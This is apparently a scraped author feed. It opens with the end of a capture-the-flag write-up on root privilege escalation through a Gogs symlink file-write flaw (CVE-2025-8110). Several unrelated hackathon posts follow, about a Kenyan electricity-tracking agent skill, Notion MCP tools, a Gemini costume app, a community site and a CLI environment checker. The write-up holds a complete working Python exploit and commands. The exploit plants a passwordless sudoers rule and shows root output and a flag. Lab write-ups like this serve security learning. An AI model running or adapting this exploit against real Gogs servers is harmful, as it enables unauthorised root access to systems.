User Flag Captured! cat /home/ben/user.txt

5. Privilege Escalation: Gogs Arbitrary File Write (CVE-2025-8110)

System enumeration as ben revealed a local Gogs instance running on port 3000/3001. Checking the running processes (ps aux | grep gogs) confirmed that the Gogs web process was running as root.

Gogs is vulnerable to CVE-2025-8110, an Arbitrary File Write vulnerability caused by improper handling of symbolic links via the API. By pushing a repository containing a symlink that points outside the repository and then updating the file via the API, an attacker can overwrite arbitrary files as the user running Gogs (root).

We used SSH local port forwarding to expose the internal Gogs web interface to our local attacking machine:

ssh -L 8080:127.0.0.1:3000 ben@silentium.htb

6. Gogs Exploitation: Manual Method (Web UI)

If an attacker prefers a manual approach, the vulnerability can be exploited directly through the Gogs dashboard at http://127.0.0.1:8080.

Account Setup: Register a new user account (e.g., <USERNAME>).
API Token Generation: Navigate to User Settings > Applications. Under "Generate New Token," provide a name and click Generate Token. Save this token for API authentication.
Repository Creation: Create a new repository and ensure it is initialized.

Symlink Creation (Local): On your attacking machine, clone the repo, create a symlink pointing to the target file on the host, and push it:

git clone http://127.0.0.1:8080/<USERNAME>/<REPO>.git
cd <REPO>
ln -s /etc/sudoers.d/ben malicious_link
git add malicious_link && git commit -m "Add symlink" && git push

Payload Delivery: Use a tool like curl or Postman to send a PUT request to the Gogs API to update the content of malicious_link. This triggers the arbitrary write to the host's filesystem.

7. Gogs Exploitation: Automated Attack (Python Script)

To increase efficiency and reliability, we used a finalized Python script (new_exploit.py) to handle the authentication, token generation, repository management, and symlink poisoning.

The Final Working Logic

The script's success relied on targeting the /etc/sudoers.d/ directory. By writing a new configuration file for the user ben and ensuring the payload included a trailing newline (\n), we were able to bypass the sudo password prompt entirely.

The Exploit Code (`new_exploit.py`)

#!/usr/bin/env python3

import argparse
import requests
import os
import subprocess
import shutil
import urllib3
import base64
from urllib.parse import urlparse
from bs4 import BeautifulSoup

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def login(session, base_url, username, password):
    login_url = f"{base_url}/user/login"
    resp = session.get(login_url)
    soup = BeautifulSoup(resp.text, "html.parser")
    csrf = soup.select_one("input[name=_csrf]").get("value")
    login_data = {"_csrf": csrf, "user_name": username, "password": password}
    session.post(login_url, data=login_data, allow_redirects=True)

def get_application_token(session, base_url):
    settings_url = f"{base_url}/user/settings/applications"
    get_resp = session.get(settings_url)
    soup = BeautifulSoup(get_resp.text, "html.parser")
    csrf = soup.select_one("input[name=_csrf]").get("value")
    data = {"_csrf": csrf, "name": os.urandom(8).hex()}
    resp = session.post(settings_url, data=data)
    soup = BeautifulSoup(resp.text, "html.parser")
    return soup.find("div", class_="ui info message").find("p").text.strip()

def create_malicious_repo(session, base_url, token):
    api = f"{base_url}/api/v1/user/repos"
    repo_name = os.urandom(6).hex()
    data = {"name": repo_name, "auto_init": True, "ssh": True}
    session.headers.update({"Authorization": f"token {token}"})
    session.post(api, json=data)
    return repo_name

def upload_malicious_symlink(base_url, username, password, repo_name):
    repo_dir = f"/tmp/{repo_name}"
    parsed = urlparse(base_url)
    clone_url = f"{parsed.scheme}://{username}:{password}@{parsed.netloc}/{username}/{repo_name}.git"
    subprocess.run(["git", "clone", clone_url, repo_dir], check=True)
    os.symlink("/etc/sudoers.d/ben", os.path.join(repo_dir, "malicious_link"))
    subprocess.run(["git", "add", "malicious_link"], cwd=repo_dir, check=True)
    subprocess.run(["git", "commit", "-m", "Poison"], cwd=repo_dir, check=True)
    subprocess.run(["git", "push", "origin", "master"], cwd=repo_dir, check=True)
    return repo_dir

def exploit(session, base_url, token, username, repo_name, payload):
    api = f"{base_url}/api/v1/repos/{username}/{repo_name}/contents/malicious_link"
    data = {
        "message": "Exploit CVE-2025-8110",
        "content": base64.b64encode(payload.encode()).decode(),
    }
    session.put(api, json=data)

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", required=True)
    args = parser.parse_args()

    username = "<USERNAME>"
    password = "<PASSWORD>"
    payload = "ben ALL=(ALL) NOPASSWD: ALL\n"

    session = requests.Session()
    login(session, args.url, username, password)
    token = get_application_token(session, args.url)
    repo_name = create_malicious_repo(session, args.url, token)
    repo_dir = upload_malicious_symlink(args.url, username, password, repo_name)
    exploit(session, args.url, token, username, repo_name, payload)

if __name__ == "__main__":
    main()

Running the script:

python3 new_exploit.py -u http://127.0.0.1:8080

8. Final Escalation

After the script reported success, we returned to our SSH session as ben and verified our new privileges:

ben@silentium:~$ sudo id
uid=0(root) gid=0(root) groups=0(root)

ben@silentium:~$ sudo cat /root/root.txt
7a4a0316f8faed5f786a5febcfcd0040

Root Flag Captured! Machine Owned.

Lets Connect - Lewis Sawe: LinkedIn

Buy me coffee ☕

I Made My WhatsApp Predict When My Electricity Will Run Out with Openclaw

Lewis Sawe — Sat, 25 Apr 2026 17:10:27 +0000

This is a submission for the OpenClaw Challenge.

What I Built

KPLC Sentinel is an OpenClaw skill that tracks prepaid electricity for Kenyan households.

Some context for those outside Kenya: electricity here works differently from most of the world. Instead of getting a bill at the end of the month, most Kenyan homes use a prepaid system. You send money via M-Pesa (mobile money), receive an SMS from Kenya Power (KPLC) with a 20-digit token number and the units you purchased, then physically punch that token into a meter box mounted on your wall. The meter counts down as you use power. When it hits zero, the lights go off. No grace period, no warning.

There's also no usage dashboard. No app that tells you how fast you're burning through units or when you'll run out. The only way to check your balance is to walk to the meter and press 20# on the keypad. Most people don't bother until the power cuts.

On top of that, Kenya Power publishes a weekly PDF listing planned maintenance outages by area. If your neighborhood is on the list, you'll lose power for 8-10 hours on the scheduled day. These notices get posted on their website and sometimes shared on social media, but most people miss them entirely.

KPLC Sentinel fixes all of this. It tracks token purchases and meter readings, predicts when you'll run out, monitors your spending against a budget, spots usage patterns, and scrapes the KPLC maintenance schedule to warn you about planned outages. The whole thing runs through WhatsApp (or Telegram), which is how most Kenyans communicate anyway.

Architecture

┌─────────────┐     ┌──────────────────┐     ┌─────────────┐
│  WhatsApp /  │────▶│  OpenClaw Agent   │────▶│  SKILL.md   │
│  Telegram    │◀────│  (LLM routing)   │     │  (routing)   │
└─────────────┘     └──────────────────┘     └──────┬──────┘
                            │                        │
                    ┌───────▼────────┐      ┌───────▼───────┐
                    │   SOUL.md      │      │ entrypoint.py │
                    │ (personality)  │      │ (returns JSON)│
                    └───────┬────────┘      └───────┬───────┘
                            │                       │
                    Agent composes          ┌───────┼────────┐
                    response from     ┌────▼───┐ ┌──▼──┐ ┌──▼───┐
                    JSON + persona    │logic.py│ │parse│ │init_db│
                                      │(core)  │ │ r.py│ │  .py  │
                    ┌──────────────┐  └────┬───┘ └─────┘ └──────┘
                    │ HEARTBEAT.md │       │
                    │(6hr/weekly)  │  ┌────▼─────┐  ┌──────────┐
                    └──────┬───────┘  │  SQLite   │  │ KPLC PDF │
                           │          │ (local)   │  │ (remote) │
                    ┌──────▼──────┐   └───────────┘  └──────────┘
                    │ sentinel.py │
                    │ (alerts)    │
                    └─────────────┘

All data stays local. The only outbound network call is to download KPLC's maintenance PDF from their public website.

How I Used OpenClaw

KPLC Sentinel is published on ClawHub. Install it with clawhub install kplc-sentinel.

The agent is the brain, the scripts are the data layer. This is the core design decision. The Python entrypoint returns structured JSON, not formatted text. The agent reads the data, applies the Stima persona from SOUL.md, and composes a natural response. The skill never prints a user-facing message. It returns things like {"action": "balance", "runway_hours": 18.0, "estimate_source": "appliances", "tip": "avoid running the water heater"} and the agent turns that into "Stima yako iko na roughly 18 hours. That's tight — avoid running the water heater to stretch your units."

This matters because it means the personality, tone, and language all come from the agent, not hardcoded strings. The same JSON data could be presented differently depending on the SOUL.md persona, the user's language preference, or the chat platform.

Natural language in three languages. The SKILL.md routing table maps natural language to commands. Users can say "stima itaisha lini?" (Sheng), "nimebakisha units ngapi?" (Swahili), or "will my power last until Monday?" (English) and the agent routes all three to the balance check. No translation code in Python. The agent handles it because SKILL.md tells it how to map intent to commands.

SKILL.md routing. The frontmatter and markdown body tell the LLM when to activate this skill. I rewrote the trigger section multiple times. The first version was too broad, catching messages like "what's your power move?" and trying to record them as meter readings. The final version requires the stima prefix for direct commands, auto-detects forwarded KPLC SMS by their distinct Token: / Units: format, and maps natural language about electricity to the right command.

HEARTBEAT.md scheduling. Every 6 hours, the agent checks the burn rate against the current balance. If there's less than 24 hours of power left, it sends a warning. It also checks for planned outages and budget status. Weekly on Monday, it sends a consumption summary with week-over-week comparisons and day-of-week patterns. All of this happens without the user asking.

Appliance-based estimates from day one. During onboarding, the skill asks what appliances you have. It maps each one to realistic consumption using a (wattage × typical hours per day) model. A fridge is 150W × 24h. A water heater is 3000W × 5 minutes. An iron is 1000W × 10 minutes. This means the skill can predict how long your tokens will last before you've ever taken a meter reading. As real readings come in, the actual burn rate takes over.

Outage reminders. When the skill detects a planned outage in your area, the agent sets a reminder for the evening before (around 8 PM) so you can charge your devices and plan ahead. The outage data includes ISO dates so the agent can calculate the reminder timing.

M-Pesa top-up instructions. When your balance is low, the agent doesn't just warn you. It tells you exactly how to buy more tokens: M-Pesa Paybill 888880, account number = your meter number, and asks you to forward the confirmation SMS back so it can track the purchase.

Multi-skill composability. Because the skill returns structured JSON, other OpenClaw skills can act on the data. A calendar skill could create events for planned outages. A payments skill could initiate M-Pesa top-ups when balance is critical. The skill doesn't need to know about these. The agent orchestrates.

Household onboarding. On first use, the skill asks how many people live in the house, what area they live in, and what appliances they have. The area is used to match against KPLC's outage schedule. The appliance list powers both consumption estimates and contextual tips when balance is low.

Budget tracking. Users set a monthly electricity budget (stima budget 3000). The skill tracks spending against it and warns at 80% and 100% thresholds.

Usage insights. The skill compares this week's consumption against last week and identifies which days of the week are heaviest. Turns raw data into something actionable.

PDF scraping for outage alerts. The skill downloads KPLC's Power Maintenance Notice PDF directly from their website, splits the two-column layout, and regex-parses all scheduled outages with areas, dates, and times. It then matches against the user's area. The PDF is cached for 1 hour to avoid hammering KPLC's server.

pdf_path = os.path.join(tempfile.gettempdir(), "kplc_schedule.pdf")                                                                                 
  urllib.request.urlretrieve(KPLC_SCHEDULE_URL, pdf_path)                                                                                             

  with pdfplumber.open(pdf_path) as pdf:                                                                                                              
      for page in pdf.pages:                                                                                                                          
          # Split two-column layout into left and right halves                                                                                        
          left = page.crop((0, 0, page.width / 2, page.height)).extract_text()                                                                        
          right = page.crop((page.width / 2, 0, page.width, page.height)).extract_text()                                                              

          # Regex-parse AREA, DATE, TIME from each column                                                                                             
          for text in [left, right]:                                                                                                                  
              for area, date, time in re.findall(                                                                                                     
                  r'AREA:\s*(.+?)\n.*?DATE:\s*(.+?)\s*TIME:\s*(.+?)[\n\r]',                                                                           
                  text, re.IGNORECASE                                                                                                                 
              ):                                                                                                                                      
                  if user_area.lower() in area.lower():                                                                                               
                      alerts.append({"area": area, "date": date, "time": time})

Sheng personality via SOUL.md. The agent persona ("Stima") speaks casual English with Kenyan Sheng/Swahili flavor. But the personality lives in SOUL.md, not in the Python code. The scripts return data; the agent adds the flavor. This is how OpenClaw skills should work.

Local SQLite storage. All data stays on the user's machine. No cloud sync, no external API beyond the LLM provider. The database auto-initializes on first message with owner-only file permissions.

Security hardening. Parameterized SQL everywhere. User input via stdin heredoc (no shell injection). Profile values sanitized before display (no chat injection). DB error messages don't leak internals. Input length capped. Outbound requests locked to kplc.co.ke HTTPS only.

Demo

Explore KPLC Sentinel on ClawHub

YOUTUBE

Try it yourself

If you have OpenClaw running, install the skill in one command:

clawhub install kplc-sentinel
pip install pdfplumber

If you're starting from scratch:

npm install -g openclaw@latest
openclaw onboard                              # set up your LLM API key
openclaw channels login --channel whatsapp    # scan QR with your phone
clawhub install kplc-sentinel                 # install the skill
pip install pdfplumber                        # for outage PDF parsing
openclaw gateway                              # start the agent

For Telegram instead of WhatsApp:

openclaw channels add --channel telegram --token <your-bot-token>

Message your agent and say stima hi to start onboarding.

What I Learned

The biggest lesson: the agent should be the brain, not the messenger. My first version had the Python script printing fully formatted responses with emoji and Sheng phrases. The agent just parroted them. It worked, but it was a chatbot wearing an OpenClaw costume. The refactor to JSON output changed everything. Now the scripts return data, the agent applies the SOUL persona, and the same skill could work with a different personality or language without touching a line of Python.

SKILL.md routing instructions matter more than the code. If the LLM doesn't know when to activate your skill, the code never runs. I rewrote the trigger section multiple times before the agent reliably caught KPLC messages without false-triggering on unrelated ones. Adding natural language examples in Swahili and Sheng to the routing table was the last iteration, and it made the skill feel native rather than command-driven.

HEARTBEAT.md is what separates a chatbot from an agent. The skill went from "useful when you remember to check" to "warns you before you run out of power at 3 AM." That shift happened with 11 lines of plain English scheduling.

Parsing the KPLC maintenance PDF was harder than expected. The document uses a two-column layout, so extracting text normally merges the columns into garbage. Splitting each page into left and right halves before extraction fixed it. The date formatting is also inconsistent across entries, which broke the parser until I made it case-insensitive.

The appliance-based estimation model needed real-world thinking. My first version assigned flat kWh/day values to each appliance. A water heater got 4 kWh/day. But nobody runs a water heater all day. It runs for 5 minutes. The fix was switching to (wattage × typical hours per day): 3000W × 0.08h = 0.24 kWh/day. That one change made the estimates actually match what Kenyan households experience.

The Sheng personality makes a real difference. Early versions responded in plain English and felt like a utility. Adding "Sawa! Token imeingia" and "Stima yako iko na roughly 14 hours" made testers actually enjoy using it. But moving the personality from Python strings to SOUL.md was the right call. The agent should own the voice.

Local storage was the right call. Electricity usage data is personal, and Kenyan households shouldn't need to send consumption patterns to a cloud service to get a "you're running low" alert.

Security caught me early. The first version told the agent to run python3 entrypoint.py "<user message>", which meant shell metacharacters in a message could execute arbitrary commands. The fix was switching to stdin heredoc. User input never touches the shell interpreter.

ClawCon Michigan

No did not attend

Building a Project Risk Engine on Top of Notion MCP

Lewis Sawe — Sun, 29 Mar 2026 22:21:31 +0000

This is a submission for the Notion MCP Challenge

What I Built

Risk Radar reads your Notion project databases, builds a dependency graph in memory, and writes risk reports back to Notion. It finds critical paths, single points of failure, and cascade risks that project managers usually track in their heads (or don't track at all).

The part I'm most proud of: when a task is overdue, the agent walks the dependency graph and pushes every downstream deadline forward through notion-update-page. Mark one task late, run the scan, and watch 8 dates shift in Notion automatically.

Everything goes through Notion's MCP server. No direct API calls. Notion is the entire data layer.

Video Demo

Show us the code

lewisawe / risk-radar

🎯 Risk Radar — Dependency & Risk Intelligence for Notion

Built for the Notion MCP Hackathon — zero direct API calls, 100% MCP.

The Problem

Project managers track risks mentally but never systematically. When a task slips, nobody knows which 8 downstream tasks just broke their deadlines. Single points of failure hide in plain sight — one person quietly blocking an entire workstream. By the time anyone notices, the cascade has already happened.

The Solution

Risk Radar reads your Notion project databases, builds a dependency graph, and surfaces risks that humans miss. It writes actionable risk reports back to Notion and automatically propagates deadline changes through the dependency chain.

Mark one task late → watch 8 downstream dates shift automatically.

Everything runs through the Model Context Protocol (MCP) — zero direct Notion API calls.

How It Works

Read — Fetches all projects and tasks from Notion via MCP, including dependency…

View on GitHub

How I Used Notion MCP

Reading a dependency graph through MCP

The Tasks database has a self-referencing "Depends On" relation. Reading this through MCP takes three steps per task: fetch the database to get the data source URL, search to get page IDs, then fetch each page individually to get its properties.

The properties come back inside a <properties> XML block as JSON. Relation fields like "Depends On" and "Project" are arrays of Notion page URLs. So building the graph means parsing URLs like https://www.notion.so/abc123def456, stripping the prefix and dashes, and using the normalized ID as the graph node key. Without that normalization step, every dependency lookup fails silently and you get an empty graph. That bug cost me an hour.

The graph algorithms

Once the tasks are in memory with their dependencies resolved to names, the risk engine runs four analyses:

Critical path uses DFS with memoization from root tasks (tasks with no upstream dependencies). It finds the longest chain through the dependency graph. This tells you which sequence of tasks has zero slack — if any of them slip, the project end date moves.

Single point of failure detection does a recursive downstream traversal per task owner. If one person's incomplete tasks collectively block two or more downstream tasks, they're flagged. This catches the scenario where one engineer is quietly blocking an entire workstream.

At-risk detection is simpler: compare each task's deadline to today. Overdue tasks, tasks due within 3 days that haven't started, and tasks due tomorrow that are still in progress all get flagged.

Cascade impact runs BFS from each at-risk task to enumerate every downstream task that would be affected by a slip.

The risk score combines these: overdue_ratio × 40 + spof_penalty (capped at 30) + cascade_penalty (capped at 30). It's a rough heuristic, but it produces scores that feel right. A project with one overdue task and no dependencies scores low. A project with an overdue task that blocks 5 others through a single owner scores high.

Writing reports and cascading deadlines

The risk report is a Markdown page created with notion-create-pages. It includes the risk score with an emoji indicator (🔴/🟡/🟢), the critical path, at-risk tasks with reasons, SPOFs with the tasks they're blocking, and cascade impact chains. A separate Health History entry logs the score with a date for trend tracking.

The cascade feature is the most interesting MCP interaction. When the scan finds an overdue task, it calculates the slip in days, then does a BFS through the dependency graph. For each downstream task that isn't done, it calls notion-update-page with the new deadline using the "date:Deadline:start" property format. A 5-task cascade means 5 sequential MCP update calls. Each one shifts a real deadline in Notion.

What surprised me about Notion MCP

The notion-search results don't include full properties. You get page IDs and titles, but to read "Depends On" or "Deadline" you need a separate notion-fetch per page. For 8 tasks across 3 projects, that's about 25 MCP calls just to read the data. It works, but it means the agent is I/O bound rather than compute bound. The graph algorithms themselves run in microseconds. The MCP calls take seconds.

The other surprise was date properties. Setting a date requires two properties: "date:Deadline:start" for the value and "date:Deadline:is_datetime": 0 to indicate it's a date-only field. Missing the second one doesn't error, but the date renders differently in Notion.

I Built an Agent That Assembles Incident War Rooms in Notion Through MCP

Lewis Sawe — Sun, 29 Mar 2026 21:48:42 +0000

This is a submission for the Notion MCP Challenge

What I Built

Incident Runbook is an agent that turns Notion into a living incident response system. It watches an Incidents database, and when a new SEV1 or SEV2 appears, it cross-references three other databases (Services, Runbooks, On-Call), assembles a War Room page with everything the responder needs, and writes it back to Notion. When the incident is marked resolved, it generates an AI post-mortem with Gemini 2.5 Flash.

The whole thing runs through Notion's MCP server. No REST calls, no webhooks, no middleware layer.

I built this because incident response at most companies is still a manual scramble. The runbook exists somewhere, the on-call schedule is in a different tool, and the service dependency map is in someone's head. This agent pulls all of that together in seconds.

Video Demo

Show us the code

lewisawe / incident-runbook

🚨 Incident Runbook — AI-Powered Incident Response for Notion

Built for the Notion MCP Hackathon — zero direct API calls, 100% MCP.

The Problem

When a SEV1 hits at 2am, engineers scramble: "Where's the runbook? Who's on-call? What depends on this service?" They're copy-pasting from scattered docs, pinging Slack, and losing precious minutes. Incident response shouldn't require tribal knowledge — it should be automated.

The Solution

Incident Runbook turns your Notion workspace into a living incident response system. Log an incident → a full war room assembles itself in seconds.

It connects to Notion entirely through the Model Context Protocol (MCP) — reading databases, assembling pages, and writing post-mortems without a single direct API call.

How It Works

Detect — Scans your Incidents database for new SEV1/SEV2/SEV3 entries
Lookup — Finds the affected service, pulls its runbook, maps dependencies
Assemble — Creates a War Room page with
- Incident details and…

View on GitHub

How I Used Notion MCP

The four-database pattern

The agent coordinates across four Notion databases in a single scan: Incidents, Services, Runbooks, and On-Call. Each scan starts with notion-search on the Incidents database to find new or resolved entries. For each incident, it follows the "Affected Service" relation to the Services database, then follows the "Runbook" relation from that service to the Runbooks database, and pulls contacts from the On-Call database filtered by role.

This means a single incident triggers reads across all four databases. The MCP call pattern looks like:

notion-fetch on the database ID to get the collection:// data source URL
notion-search with that URL to get page IDs
notion-fetch on each page to get properties and content

For a scan with 1 incident, 3 services, 2 runbooks, and 4 on-call contacts, that's roughly 20 MCP calls. Chatty, but each call is fast and the total scan takes a few seconds.

Relation resolution was the trickiest part

Notion MCP returns relation properties as arrays of page URLs, not IDs. So an incident's "Affected Service" looks like ["https://www.notion.so/abc123def456"] rather than a clean ID. Matching that to the actual service record means parsing the URL, stripping dashes, and normalizing to a consistent format across all four databases.

I spent more time debugging ID mismatches than writing the actual war room assembly. Services fetched from the database had IDs in one format, while the relation URLs from incidents had them in another. The fix was normalizing everything to dashless hex strings on read.

Writing Markdown back to Notion

The war room page is a single Markdown string that Notion renders natively. It includes a details table, on-call contacts list, the full runbook steps, dependent services, a timeline, and an action checklist with checkboxes. Creating it is one notion-create-pages call with the incident page as the parent.

The post-mortem works the same way. The agent calculates MTTR from the incident creation time to resolution, feeds the incident details and timeline to Gemini 2.5 Flash, and writes the AI output into a new page.

Watch mode and connection reuse

The agent has a watch mode that polls every 30 seconds. An early version spawned a new mcp-remote process on every poll cycle, which ate system resources fast. The fix was extracting the scan logic into a function that accepts an existing MCP client, so watch creates one connection and reuses it across all cycles.

What I'd do differently

The property parsing is fragile. Properties come back inside a <properties> XML block as JSON, and the key names are case-sensitive and sometimes inconsistent (I found both "status" and "Status" depending on how the database was configured). A more robust version would normalize property keys on read. But for a hackathon, regex and case-checking got the job done

Solving Halloween with Google Gemini and Iterative Image Generation

Lewis Sawe — Wed, 04 Mar 2026 11:25:41 +0000

This is a submission for the Built with Google Gemini: Writing Challenge

What I Built with Google Gemini

I built an AI Halloween Costume Generator because picking a costume is harder than it should be. You either spend hours scrolling through the same generic ideas online, or you have a vague concept but no clue how to actually make it. I wanted something that could take any input a text idea, a photo, or literally nothing and turn it into a complete DIY guide with materials, steps, and visuals.

The app works three ways. You can search for costume ideas by typing anything ("costumes for my dog," "spooky sci-fi"), and it gives you five different concepts to pick from. You can upload a photo of an object, person, or pet, and it generates a costume based on that image. Or if you're completely stuck, there's a "Surprise Me" button that creates something random.

Once you pick an idea, you get a full breakdown with materials, estimated cost, difficulty level, and step-by-step instructions. The interesting part is the visuals. Instead of generic stock photos or disconnected diagrams, each instruction step has an image that builds on the previous one. You literally watch the costume come together piece by piece.

I used three different Gemini models for this. gemini-2.5-flash handles all the text generation and structured data costume names, descriptions, materials lists, instructions. I defined a JSON schema so the output is always consistent and easy to work with. imagen-4.0-generate-001 creates the first image for each costume guide. Then gemini-2.5-flash-image-preview does something cool it takes the previous step's image and adds the new elements described in the current step. So instead of generating five separate images, it's building one image progressively.

That additive image generation was the hardest part to get right. The model needs to understand what's already in the image, what the text is asking it to add, and how to blend them naturally. It took experimentation to figure out the right prompts and image parameters, but when it works, it makes the instructions way easier to follow than text alone.

Demo

What I Learned

I learned that multimodal doesn't just mean "uses images and text." It's about how those modes interact. The additive image feature only works because the model can see the previous image and understand the text instruction at the same time. That's different from just generating images from text prompts.

Structured outputs made this project manageable. Without the JSON schema, I'd be parsing freeform text and dealing with inconsistent formats. With it, I know exactly what I'm getting back every time, which makes building a UI straightforward.

The search feature taught me something about prompt design. Asking for "five costume ideas" in one call is way more efficient than making five separate calls, and the results are actually more diverse because the model can differentiate them in context.

Google Gemini Feedback

The image editing model (gemini-2.5-flash-image-preview) was the star here. Being able to iteratively build on an image is powerful and not something I've seen done well elsewhere. It worked better than I expected for this use case.

Structured outputs continue to be essential. They're the difference between a prototype and something you can actually ship.

The friction came from tuning the image generation. Sometimes the additive steps would drift from the original concept, or the model would reinterpret elements instead of just adding to them. I had to be specific in the prompts about what to preserve and what to add. It wasn't a model limitation as much as figuring out how to communicate clearly with it.

One thing I'd like is better control over image composition in the editing model. Being able to specify regions or layers would make the additive process more predictable. But overall, the multimodal capabilities let me build something I couldn't have built otherwise.

Qwani Connect, the Nairobi's Young Creatives Community Hub

Lewis Sawe — Sun, 01 Mar 2026 23:55:11 +0000

This is a submission for the DEV Weekend Challenge: Community

The Community

Qwani is a youth-led creative community based in Nairobi, Kenya. What started as a platform for young writers to get published has grown into a home for artists, musicians, film-makers, illustrators, poets, and anyone who creates.

Every month, Qwani hosts events that bring people together in ways that are hard to find anywhere else in the city:

Hikes "positive suffering," as the community calls it. Last Saturday of every month.
Sketch Tours along Nairobi, walk, learn the history of iconic buildings like Kipande House and McMillan Library, and sketch the city around you.
Poetry & Letter Reading Sessions at the American Corner on Moi Avenue, submit a poem or an unconventional letter, and the group reads and openly critiques it together.
Trivia Nights — board games, Kahoot, and team quizzes. Think you know all 55 African capitals?

Open Mics — poets, musicians, and spoken-word artists get a stage.
Karaoke & Crafts — sing Sauti Sol with your friends while others learn bead-making and crochet.
Picnics at the Arboretum, Cycling Tours through Karura Forest, and Book Discussions with author panels.

I'm part of this community, and I built Qwani Connect for them.

What I Built

Qwani Connect is a community platform that solves three real problems I noticed:

1. Event Discovery & RSVP

Qwani's events are currently scattered across Instagram stories, WhatsApp groups, and word of mouth. Qwani Connect puts every event in one place with RSVP functionality and a real-time "Who's Going" feature, you can see avatar initials of people who've RSVP'd, creating social proof and FOMO before you even commit.

2. The Wall — A Live Poetry & Writing Feed

Currently, members submit poems and letters via email before reading sessions. Qwani Connect replaces that with The Wall a live masonry-layout feed where submitted poems, letters, and stories appear instantly for the whole community to read and heart.

The Wall uses Supabase Realtime — when someone submits a new piece, it appears for everyone without a page refresh. The feed is multilingual, just like the community English, Swahili, and Sheng all live side by side.

3. The Suffering Streak

Qwani's monthly hikes are legendary. The community bonds through what they call "positive suffering." I turned this inside joke into a feature: The Suffering Streak tracks your consecutive monthly hike attendance with a leaderboard.

Miss a month? Your streak resets. The fire emojis scale with your commitment — 🔥 for beginners, 🔥🔥 for regulars, 🔥🔥🔥 for the truly committed. It's gamification that only makes sense if you know this community, and that's exactly the point.

Demo

Check out the Live Demo

Code

[GitHub Repo for Qwani Connect]{https://github.com/lewisawe/qwani-connect}

How I Built It

Tech Stack

Layer	Choice	Why
Framework	Next.js 16 (App Router)	Server components for fast initial load, API routes for backend logic
Database	Supabase (Postgres + Realtime)	Realtime subscriptions for The Wall and Who's Going, Row Level Security, instant setup
Icons	Lucide React	Clean, consistent iconography
Deployment	AWS Amplify	Hosting with CI/CD from GitHub

Database Design

Four tables with Row Level Security:

events      → id, title, description, date, location, category, rsvp_count
rsvps       → id, event_id, name, email (unique per event+email)
submissions → id, author_name, title, content, type (poem|letter|story)
streaks     → id, email, name, hike_count, current_streak, last_hike_month

A Postgres trigger auto-increments rsvp_count when a new RSVP is inserted. The streak API calculates month-over-month continuity server-side to prevent gaming.

Realtime Features

Two features use Supabase Realtime subscriptions:

The Wall subscribes to INSERT events on submissions — new poems appear instantly for all viewers
Who's Going subscribes to INSERT events on rsvps filtered by event_id — new RSVPs show up live on event cards

What Makes This Different

The Suffering Streak is technically just a counter with date logic, but it resonates because it's built on an inside joke. The Wall is a living space where Sheng poems sit next to Swahili letters sit next to English stories, exactly like a real Qwani session.

Building env-doctor with GitHub Copilot CLI

Lewis Sawe — Sun, 15 Feb 2026 23:09:49 +0000

This is a submission for the GitHub Copilot CLI Challenge

What I Built

I built env-doctor, a CLI tool that automatically checks if your local environment matches what your project expects. You know that frustrating moment when you clone a project and spend an hour figuring out why it won't run? Usually it's missing Node versions, environment variables, or services that weren't mentioned clearly in the README. This tool solves that.

It scans your project files - package.json, Dockerfile, docker-compose.yml, README, CI configs, and more - then extracts what the project actually needs. After that, it checks your local setup and gives you a clear checklist of what's working and what needs fixing. Instead of hunting through documentation, you get a direct report: "Node.js ✅, Docker ✅, PostgreSQL ❌ not running, DATABASE_URL ❌ missing."

The tool covers runtime versions, package managers, databases, services, environment variables, and port availability. It works with Node.js, Python, Go projects and gives you actionable suggestions for fixing issues. There's also JSON output for CI pipelines and a verbose mode that explains everything it found.

Demo

The tool is available at github.com/env-doctor with a comprehensive example project that demonstrates all features.

Here's what happens when you run it on a complex project:

$ env-doctor --verbose

env-doctor - Analyzing project environment...

Runtime Versions:
✅ Node.js 18.17.0 (required: >=18.0.0)
✅ Docker running (v24.0.7)
❌ Python 3.8.10 (required: >=3.9.0)

Services:
❌ redis not found
✅ PostgreSQL accessible on port 5432

Environment Variables:
❌ DATABASE_URL environment variable not set
❌ JWT_SECRET environment variable not set
✅ NODE_ENV=development

📊 Results: 4/8 checks passed (4 failed)
❌ Environment needs attention

 Next steps:
1. Update Python to >=3.9.0
2. Install and start redis
3. Set DATABASE_URL environment variable
4. Set JWT_SECRET environment variable

The example project I included shows off the tool's capabilities with a realistic full-stack application. It has Node.js, Python, and Go services, multiple databases, complex Docker setup, and tons of environment variables. When you run env-doctor on it, you get 13/59 checks passing, which perfectly demonstrates how the tool handles complex real-world projects.

I also built a simple demo script that explains what each file type contributes to the analysis. You can clone the repo and run cd example-project && ./demo.sh to see everything in action.

My Experience with GitHub Copilot CLI

Using GitHub Copilot CLI completely changed how I approached this project. Instead of writing code bit by bit, I could focus on the bigger picture and let Copilot handle the implementation details.

The most helpful part was how Copilot understood context across multiple files. When I described the file parsing requirements, it generated parsers for package.json, Dockerfile, docker-compose.yml, and CI configs all at once. Each parser was tailored to extract the right information - Node versions from package.json, base images from Dockerfiles, services from docker-compose files.

What impressed me was how it handled the environment checking logic. I explained that I needed to verify Node versions, check if Docker is running, test database connectivity, and validate environment variables. Copilot created a comprehensive checking system with proper error handling and meaningful status messages.

The CLI also helped with the user experience aspects I hadn't initially planned. It suggested adding colored output with emoji indicators, a verbose mode for detailed explanations, JSON output for CI integration, and helpful suggestions for fixing issues. These weren't things I explicitly asked for, but Copilot recognized they would make the tool more useful.

Testing was another area where Copilot excelled. It created unit tests for individual components and an integration test that builds a temporary project structure to verify everything works together. The test coverage caught several edge cases I would have missed.

The most significant impact was being able to iterate quickly on complex features. When I wanted to add support for Python projects, Copilot immediately understood I needed requirements.txt and pyproject.toml parsers, Python version checking, and pip availability tests. What would have taken me hours of research and implementation happened in minutes.

Copilot also helped with the example project creation. I described wanting a comprehensive test case, and it built a realistic social media application with multiple languages, databases, microservices, and CI/CD pipelines. This wasn't just a toy example - it's the kind of complex project where env-doctor actually provides value.

The experience showed me how AI tools can handle the mechanical aspects of programming while leaving the creative and strategic decisions to the human developer. I focused on the problem design and user experience while Copilot handled the implementation patterns, error cases, and integration detail

DEV Community: Lewis Sawe

I taught Hermes Agent to predict which API changes will break my system

What I Built

Demo

Code

lewisawe / drift-detective

Drift Detective

What It Does

Hermes Features Used

Demo Walkthrough

1. Start the demo API

My Tech Stack

How I Used Hermes Agent

How It Works (Technical)

What I'd Build Next

Source Code

I Built a Quotation Generator for Kenyan Street Welders Using Gemma 4's Vision

What I Built

Demo

Code

lewisawe / jua-kali

Jua Kali Quote

Setup

Run

How it works

Stack

